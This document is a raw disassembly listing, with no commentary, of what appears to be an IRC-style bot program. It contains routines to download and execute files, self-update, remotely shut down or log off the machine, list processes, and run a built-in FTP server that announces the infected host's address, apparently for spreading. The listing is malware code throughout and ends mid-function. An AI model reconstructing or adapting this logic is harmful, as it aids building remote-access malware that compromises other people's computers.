xor edi, edi
test ebp, ebp
jle short loc_41DC80
loc_41DCB6: ; CODE XREF: sub_41D830+4A5j
push 4
lea ecx, [esp+edi+48h+arg_120]
push offset asc_443EE8 ; "\r\n\r\n"
push ecx
nop
call near ptr 77C47A50h
add esp, 0Ch
test eax, eax
jz short loc_41DCD9
inc edi
cmp edi, ebp
jl short loc_41DCB6
jmp short loc_41DC80
; ---------------------------------------------------------------------------
loc_41DCD9: ; CODE XREF: sub_41D830+4A0j
add edi, 4
cmp edi, ebp
jge short loc_41DCF8
loc_41DCE0: ; CODE XREF: sub_41D830+4C6j
movsx edx, [esp+edi+44h+arg_120]
push ebx
push edx
call near ptr 77C40E76h
nop
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DCE0
loc_41DCF8: ; CODE XREF: sub_41D830+46Ej
; sub_41D830+4AEj ...
mov edi, [esp+44h+var_30]
push 0
lea eax, [esp+48h+arg_120]
push 1000h
push eax
push edi
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DD48
cmp ebp, 1000h
jge short loc_41DD28
mov [esp+ebp+54h+arg_110], 0
loc_41DD28: ; CODE XREF: sub_41D830+4EEj
xor edi, edi
test ebp, ebp
jle short loc_41DCF8
loc_41DD2E: ; CODE XREF: sub_41D830+514j
movsx ecx, [esp+edi+54h+arg_110]
push ebx
push ecx
call near ptr 77C40E76h
nop
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DD2E
jmp short loc_41DCF8
; ---------------------------------------------------------------------------
loc_41DD48: ; CODE XREF: sub_41D830+4E6j
push ebx
call near ptr 77C40AB1h
nop
add esp, 4
push edi
nop
call near ptr 71AB9639h
lea ecx, [esp+58h+var_3C]
mov [esp+58h+arg_1114], 3
call sub_401226
lea ecx, [esp+58h+var_C]
mov [esp+58h+arg_1114], 2
call sub_401226
loc_41DD7B: ; CODE XREF: sub_41D830+2CFj
mov al, [esi+90h]
test al, al
jnz loc_41DE17
lea ebp, [esi+65h]
mov ecx, ebp
call sub_4017E4
lea edi, [esi+7Ah]
push eax
push offset aDlDone_S_ ; "dl, done. %s ."
mov ecx, edi
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
mov al, [esi+8Fh]
add esp, 18h
test al, al
jz loc_41DF0F
push offset byte_446F60
mov ecx, ebp
call sub_4017E4
push eax
call sub_401299
add esp, 8
mov ecx, ebp
call sub_4017E4
push eax
push offset aOpenS_ ; "open %s."
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
jmp loc_41DF0F
; ---------------------------------------------------------------------------
loc_41DE17: ; CODE XREF: sub_41D830+553j
lea ebx, [esi+65h]
mov ecx, ebx
call sub_4017E4
lea edi, [esi+7Ah]
push eax
push offset aDlEdUpdateS ; "dl'ed-update: %s"
mov ecx, edi
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea edx, [esp+58h+var_3C]
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 51h
push edx
call sub_4019B5
add esp, 24h
mov ecx, eax
mov [esp+58h+arg_1114], 5
call sub_4014D3
push eax
mov ecx, ebx
call sub_4014D3
push eax
call sub_402149
add esp, 8
lea ecx, [esp+58h+var_3C]
mov bl, al
mov [esp+58h+arg_1114], 2
call sub_401226
test bl, bl
jz short loc_41DEEA
mov al, byte_4478C6
test al, al
jz short loc_41DEB9
push offset dword_447864
mov ecx, offset dword_448DA0
call sub_401447
loc_41DEB9: ; CODE XREF: sub_41D830+678j
mov al, byte_44790F
test al, al
jz short loc_41DED1
push offset byte_44793F
mov ecx, offset dword_448DA0
call sub_401942
loc_41DED1: ; CODE XREF: sub_41D830+690j
mov ecx, offset dword_448DA0
call sub_401E5B
push 1
mov byte_4E6E74, 0
call near ptr 77C39E7Eh
nop
loc_41DEEA: ; CODE XREF: sub_41D830+66Fj
mov ecx, edi
call sub_4014D3
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aExec_error ; "exec.error"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
loc_41DF0F: ; CODE XREF: sub_41D830+597j
; sub_41D830+5E2j
mov [esp+5Ch+var_44], esi
lea edx, [esp+5Ch+var_44]
loc_41DF17: ; CODE XREF: sub_41D830+1E7j
push edx
loc_41DF18: ; CODE XREF: sub_41D830+23Ej
; sub_41D830+2BDj
mov ecx, offset byte_4E6ECB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+5Ch+var_28]
mov [esp+5Ch+arg_1110], 0FFFFFFFFh
call sub_401226
jmp short loc_41DF4B
; ---------------------------------------------------------------------------
loc_41DF38: ; CODE XREF: sub_41D830+36j
; sub_41D830+4Dj ...
mov [esp+1Ch+var_C], esi
lea eax, [esp+1Ch+var_C]
loc_41DF40: ; CODE XREF: sub_41D830+9Cj
push eax
mov ecx, offset byte_4E6ECB
call sub_40120D
sub_41D830 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D830
loc_41DF4B: ; CODE XREF: sub_41D830+44Bj
; sub_41D830+706j
mov ecx, [esp+34h+arg_1130]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 1164h
retn
; END OF FUNCTION CHUNK FOR sub_41D830
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 1D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E140 proc near ; CODE XREF: sub_401B90j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E140
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 0Fh
push 0Fh
push 2
push 5
push 12h
push 4Fh
push 3
lea eax, [esp+64h+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_41E140 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Eh
push 17h
push 0Fh
push 4
push 14h
push 15h
push 8
push 13h
push 4Fh
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019B5
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 6
push 6
push 0Fh
push 7
push 0Fh
push 0Ch
push 4Fh
push 3
lea ecx, [esp+40h]
push 10h
push ecx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: ___:loc_4010B4j
push ebx
push esi
push edi
mov edi, [esp+10h]
mov esi, ecx
lea ebx, [edi+7Eh]
lea ecx, [esi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E31B
push offset dword_443FEC
lea ecx, [edi+69h]
call sub_401681
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 14h
push 0
push 6
nop
call near ptr 28803D3h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E31B: ; CODE XREF: ___:0041E2DEj
lea ecx, [esi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E36A
push offset aSysSd ; "sys(sd)"
lea ecx, [edi+69h]
call sub_401681
mov dl, [edi+94h]
push eax
mov al, [edi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 14h
push 0
push 5
nop
call near ptr 28803D3h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E36A: ; CODE XREF: ___:0041E32Dj
lea ecx, [esi+60h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E3B1
push offset aSysLogoff ; "sys(logoff)"
lea ecx, [edi+69h]
call sub_401681
mov cl, [edi+94h]
mov dl, [edi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 14h
push 0
push 4
call near ptr 28803D3h
nop
loc_41E3B1: ; CODE XREF: ___:0041E37Cj
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E400 proc near ; CODE XREF: sub_401F5Fj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E400
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+6Ch+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_41E400 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea ecx, [esp+3Ch]
push 10h
push ecx
call sub_4019B5
add esp, 3Ch
mov dword ptr [esp+40h], 2
push esi
mov ecx, eax
call sub_4017E4
lea edx, [esi+8Eh]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+3Ch]
push 10h
push eax
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 9
push 10h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+54h]
push 10h
push edx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E660 proc near ; CODE XREF: sub_401613j
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41E660
push eax
mov large fs:0, esp
sub esp, 44h
push ebx
push ebp
push esi
mov esi, [esp+5Ch+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E7FA
lea eax, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push eax
call sub_4018D9
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0
push ecx
call sub_4011D6
add esp, 4
test al, al
jz loc_41E7E2
push 0
push 7Bh
push 25h
push 9
push 25h
push 25h
push 9
push 5
push 1Dh
push 23h
push 1Fh
lea edx, [esp+8Ch+var_3C]
push 79h
push edx
call sub_4019B5
add esp, 34h
mov edi, eax
lea ebx, [esi+69h]
mov byte ptr [esp+60h+var_4], 1
mov ecx, ebx
call sub_4014D3
push eax
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401703
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
xor edi, edi
call sub_4014D8
mov eax, [eax]
lea ecx, [esp+60h+var_4C]
push ecx
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], eax
call sub_40196F
push eax
lea ecx, [esp+64h+var_50]
call sub_401802
test al, al
jz short loc_41E7E2
mov ebp, dword_50F8D0
loc_41E76E: ; CODE XREF: sub_41E660+180j
lea ecx, [esp+60h+var_50]
inc edi
call sub_40122B
mov ecx, eax
call sub_4017E4
push eax
lea ecx, [esp+64h+var_50]
call sub_40122B
mov edx, [eax+15h]
mov ecx, ebx
push edx
push edi
push offset aD_PidDS ; "%d. - Pid: %d - \"%s\""
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 20h
push 5DCh
call ebp
lea ecx, [esp+60h+var_50]
call sub_40107D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
call sub_40196F
push eax
lea ecx, [esp+64h+var_50]
call sub_401802
test al, al
jnz short loc_41E76E
loc_41E7E2: ; CODE XREF: sub_41E660+62j
; sub_41E660+106j
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401816
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E660+37j
lea ecx, [edi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E8EE
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 3
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 4
call sub_4014D3
push eax
push offset dword_44401C
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E8EE: ; CODE XREF: sub_41E660+1ACj
lea ecx, [edi+8Eh]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EA55
lea edx, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push edx
call sub_4016E0
; ---------------------------------------------------------------------------
lea eax, [esp+60h+var_48]
mov ebx, 5
push eax
mov [esp+64h+var_4], ebx
call sub_402144
add esp, 4
test al, al
jz loc_41EA3D
push 0
push 3Eh
push 13h
push ebx
push 3
push 9
push 16h
push 12h
push ebx
push 13h
lea ecx, [esp+88h+var_3C]
push 3Dh
push ecx
call sub_4019B5
add esp, 30h
mov edi, eax
lea ebp, [esi+69h]
mov byte ptr [esp+60h+var_4], 6
mov ecx, ebp
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], bl
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401B40
lea ecx, [esp+60h+var_4C]
xor edi, edi
push ecx
lea ecx, [esp+64h+var_48]
call sub_40145B
mov edx, [eax]
lea eax, [esp+60h+var_4C]
push eax
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], edx
call sub_4013ED
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jz short loc_41EA3D
mov ebx, dword_50F8D0
loc_41E9D6: ; CODE XREF: sub_41E660+3DBj
lea ecx, [esp+60h+var_50]
inc edi
call sub_401055
mov ecx, eax
call sub_4017E4
push eax
push edi
push offset dword_444010
mov ecx, ebp
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
push 5DCh
call ebx
lea ecx, [esp+60h+var_50]
call sub_40182A
lea eax, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push eax
call sub_4013ED
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jnz short loc_41E9D6
loc_41EA3D: ; CODE XREF: sub_41E660+2CFj
; sub_41E660+36Ej
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401253
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EA55: ; CODE XREF: sub_41E660+2A3j
lea ecx, [edi+0BCh]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EB4C
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_443600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 8
call sub_4017E4
push eax
call sub_4019FB
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 9
call sub_4014D3
push eax
push offset dword_444008
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EB4C: ; CODE XREF: sub_41E660+40Aj
lea ecx, [edi+60h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EC15
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz short loc_41EC15
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_24]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 0Bh
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+60h+var_24]
mov ebx, eax
mov [esp+60h+var_4], edi
call sub_401226
test ebx, ebx
jz short loc_41EC15
push ebx
push offset dword_443FFC
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
push ebx
call sub_4018A7
add esp, 1Ch
jmp short loc_41EC17
; ---------------------------------------------------------------------------
loc_41EC15: ; CODE XREF: sub_41E660+1F0j
; sub_41E660+44Ej ...
xor al, al
loc_41EC17: ; CODE XREF: sub_41E660+195j
; sub_41E660+289j ...
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 50h
retn 4
sub_41E660 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 180h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41EDB0: ; CODE XREF: ___:loc_401FE6j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43B210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword_50F8D0
mov [ebp-10h], esp
mov esi, ecx
mov dword ptr [ebp-4], 0
loc_41EDE0: ; CODE XREF: ___:0041EDF1j
mov al, [esi+0ABh]
test al, al
jnz short loc_41EDF3
push 3E8h
call edi
jmp short loc_41EDE0
; ---------------------------------------------------------------------------
loc_41EDF3: ; CODE XREF: ___:0041EDE8j
mov al, [esi+0ACh]
lea ecx, [esi+15h]
push eax
push ecx
mov ecx, offset byte_4472A7
call sub_401A32
lea edx, [ebp-14h]
mov ecx, offset byte_4E6ECB
push edx
mov [ebp-14h], esi
call sub_40120D
; ---------------------------------------------------------------------------
loc_41EE19: ; DATA XREF: ___:loc_41EE2Co
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41EE2C: ; DATA XREF: ___:0044154Co
mov eax, offset loc_41EE19
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EE70 proc near ; CODE XREF: sub_401DE3j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+11h], eax
mov cl, [eax+94h]
mov [esi+0A9h], cl
mov dl, [eax+93h]
mov [esi+0A8h], dl
mov cl, [eax+95h]
add eax, 15h
mov [esi+0AAh], cl
push eax
lea ecx, [esi+2Ah]
call sub_401FBE
mov edx, [esi+11h]
lea ecx, [esi+69h]
add edx, 54h
push edx
call sub_401FBE
mov eax, [esi+11h]
lea ecx, [esi+54h]
add eax, 3Fh
push eax
call sub_401FBE
mov ecx, [esi+11h]
add ecx, 2Ah
push ecx
lea ecx, [esi+3Fh]
call sub_401FBE
mov edx, [esi+11h]
lea ecx, [esi+15h]
push edx
call sub_401FBE
mov al, [esp+4+arg_4]
mov byte ptr [esi+0ABh], 1
mov [esi+0ACh], al
pop esi
retn 8
sub_41EE70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EF30 proc near ; CODE XREF: sub_4020A9j
var_DC = dword ptr -0DCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_94 = byte ptr -94h
var_88 = dword ptr -88h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
arg_8 = byte ptr 0Ch
arg_14 = dword ptr 18h
arg_18 = byte ptr 1Ch
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_50 = byte ptr 54h
arg_68 = byte ptr 6Ch
arg_80 = byte ptr 84h
arg_88 = byte ptr 8Ch
arg_A8 = byte ptr 0ACh
arg_E4 = byte ptr 0E8h
arg_F0 = byte ptr 0F4h
arg_118 = byte ptr 11Ch
arg_128 = byte ptr 12Ch
arg_138 = byte ptr 13Ch
arg_148 = byte ptr 14Ch
arg_158 = byte ptr 15Ch
arg_908 = byte ptr 90Ch
arg_18C8 = dword ptr 18CCh
arg_18D8 = dword ptr 18DCh
arg_1930 = byte ptr 1934h
arg_1970 = dword ptr 1974h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41EF30
push eax
mov eax, 19B4h
mov large fs:0, esp
call sub_436840
push esi
push edi
mov edi, ecx
xor eax, eax
mov [esp+14h+var_8], edi
mov [esp+14h+arg_14], 10h
lea esi, [edi+19h]
mov ecx, esi
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+8], eax
mov [ecx+0Ch], eax
mov word ptr [esi], 2
mov [edi+1Dh], eax
mov dx, word ptr dword_44767F
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [edi+1Bh], ax
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [edi+15h], eax
jnz short loc_41EFB7
lea eax, [esp+24h+var_18]
mov ecx, offset byte_4E6ECB
push eax
mov [esp+28h+var_18], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj
push 10h
push esi
push eax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41EFE7
mov ecx, [edi+15h]
push ecx
nop
call near ptr 71AB9639h
lea edx, [esp+34h+var_28]
mov ecx, offset byte_4E6ECB
push edx
mov [esp+38h+var_28], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFE7: ; CODE XREF: sub_41EF30+93j
mov al, byte_4E6E74
test al, al
jz loc_41F650
push ebx
mov ebx, dword_50FB08
push ebp
mov ebp, dword_50FC8C
loc_41F002: ; CODE XREF: sub_41EF30+718j
mov eax, [edi+15h]
push 0Ah
push eax
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41F01D
push 0FAh
jmp loc_41F63B
; ---------------------------------------------------------------------------
loc_41F01D: ; CODE XREF: sub_41EF30+E1j
mov eax, [edi+15h]
lea ecx, [esp+40h+var_C]
lea edx, [esp+40h+arg_F0]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41F636
xor ecx, ecx
lea edx, [esp+4Ch+var_14]
mov [esp+4Ch+var_2C], ecx
lea eax, [esp+4Ch+var_2C]
mov [esp+4Ch+var_28], ecx
push edx
mov [esp+50h+var_24], ecx
push eax
push esi
mov [esp+58h+var_14], 10h
mov [esp+58h+var_20], ecx
call near ptr 71AC0B50h
nop
mov eax, [esp+58h+var_34]
test al, al
jz loc_41F641
mov cl, byte_447DE8
test cl, cl
jz short loc_41F0CF
mov edx, [esp+58h+var_34+3]
mov ecx, dword_44767F
and edx, 0FFh
push ecx
mov ecx, [esp+5Ch+var_34+2]
push edx
mov edx, [esp+60h+var_34+1]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d"
mov ecx, offset dword_447988
call sub_4014D3
push eax
push 0
push 0
push offset byte_4D60A5
call sub_401848
add esp, 28h
loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej
lea ecx, [esp+58h+arg_0]
call sub_401424
push 1000h
push 1000h
lea ecx, [esp+60h+arg_0]
mov [esp+60h+arg_1970], 0
call sub_401C5D
push eax
call sub_4015EB
add esp, 8
lea eax, [esp+58h+arg_0]
lea ecx, [esp+58h+arg_18]
push eax
call sub_4014C9
lea ecx, [esp+58h+arg_0]
mov byte ptr [esp+58h+arg_1970], 1
push ecx
lea ecx, [esp+5Ch+arg_18]
call sub_401FBE
mov edi, offset a220 ; "220 \r\n"
or ecx, 0FFFFFFFFh
